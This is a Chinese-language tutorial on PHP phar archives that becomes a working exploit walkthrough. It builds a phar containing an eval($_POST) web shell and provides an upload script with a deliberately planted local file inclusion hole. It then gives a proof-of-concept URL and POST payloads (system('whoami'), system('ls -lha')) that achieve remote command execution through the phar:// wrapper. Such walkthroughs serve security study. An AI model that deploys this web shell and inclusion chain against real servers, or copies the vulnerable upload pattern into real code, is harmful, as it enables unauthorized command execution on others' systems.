0x01. 什麼是phar
如果你之前開發過Java程序,我相信你肯定知道Jar文件(Jar是Java ARchive的縮寫)。一個應用,包括所有的可執行、可訪問的文件,都打包進了一個JAR文件裏,使得部署過程十分簡單。
PHAR (“Php ARchive”) 是PHP裏類似於JAR的一種打包文件。文件歸檔到一個文件包。將一個模塊的文件打包成一個phar,這樣方便模塊整體遷移,只需將phar文件移動過去,其他環境中include即可使用。如果你使用的是 PHP 5.3 或更高版本,那麼Phar後綴文件是默認開啓支持的,你不需要任何其他的安裝就可以使用它。
0x02. 創建phar文件
phar.readonly = Off 這個參數必須設置爲Off,如果爲On,表示phar文檔不可寫。
在cli和Apache的php.ini
中進行修改
makephar.php
<?php
try{
$p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
die('Could not open my.phar');
} catch (BadMethodCallException $e) {
echo 'technically, this cannot happen';
}
$p->startBuffering();
$p['file1.txt'] = 'file1';
$p['file2.txt'] = 'file2';
$p['file3.txt'] = 'file3';
$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>';
// use my.phar
echo file_get_contents('phar://my.phar/file2.txt'); // echo file2
// make a file named my.phar
$p->setStub("<?php
Phar::mapPhar('myphar.phar');
__HALT_COMPILER();");
$p->stopBuffering();
?>
上面代碼生成一個my.phar文件,代碼輸出file2字符串。
my.phar文件包含了file1.txt,file2.txt,file3.txt和shell.php這四個文件。當然了,這四個文件不是真實存在磁盤上。
注意:這幾個文件不能直接通過http訪問,但可以被include和file_get_contents等php函數利用。
0x03. 利用phar
在makephar.php文件的當前目錄,新建一個callphar.php,利用phar特定的格式。
<?php
include 'phar://my.phar/shell.php';
?>
訪問callphar.php即可調用shell.php
注意:phar文件不受文件名限制,即my.char可以任意的重命名爲aaa.bbb
callphar.php
<?php
include 'phar://aaa.bbb/shell.php';
?>
0x04. LFI漏洞代碼及利用
upload.php
<?php
if(isset($_POST['submit'])){
$upload_name = $_FILES['file']['name'];
$tempfile = $_FILES['file']['tmp_name'];
$upload_ext = trim(get_extension($upload_name));
$savefile = RandomString() . '.txt';
if ($upload_ext == 'txt') {
if(move_uploaded_file($tempfile,$savefile)) {
die('Success upload. FileName: '.$savefile);
}
else {
die('Upload failed..');
}
}
else {
die('You are not a txt file..');
}
}
function get_extension($file){
return strtolower(substr($file, strrpos($file, '.')+1));
}
function RandomString()
{
$characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$randstring = "";
for ($i = 0; $i < 16; $i++) {
$randstring .= $characters[rand(0, strlen($characters)-1)];
}
return $randstring;
}
// make a lfi vulnerability
$file = $_REQUEST['file'];
if ($file != '') {
$inc = sprintf("%s.php", $file); // only php file can be included
include($inc);
}
?>
<html>
<body>
<form method="post" action="#" enctype="multipart/form-data">
<input type="file" name="file" value=""/>
<input type="submit" name="submit" value="upload"/>
</form>
</body>
</html>
上面代碼只能上傳txt文件,並且可以include php後綴名的文件。
利用:
將makephar.php生成的my.char重命名爲phar.txt,並且上傳。
POC:
http://localhost/upload.php?file=phar://7xg2dLIIJLfnTnQE.txt/shell
然後再利用傳上去的
phar.txt
中的<?php phpinfo(); eval($_POST[x]); ?>
POST傳參`x=system("whoami");就可以任意命令執行
查看源碼
POST傳參`x=system("ls-lha");
查看源碼
參考:php phar LFI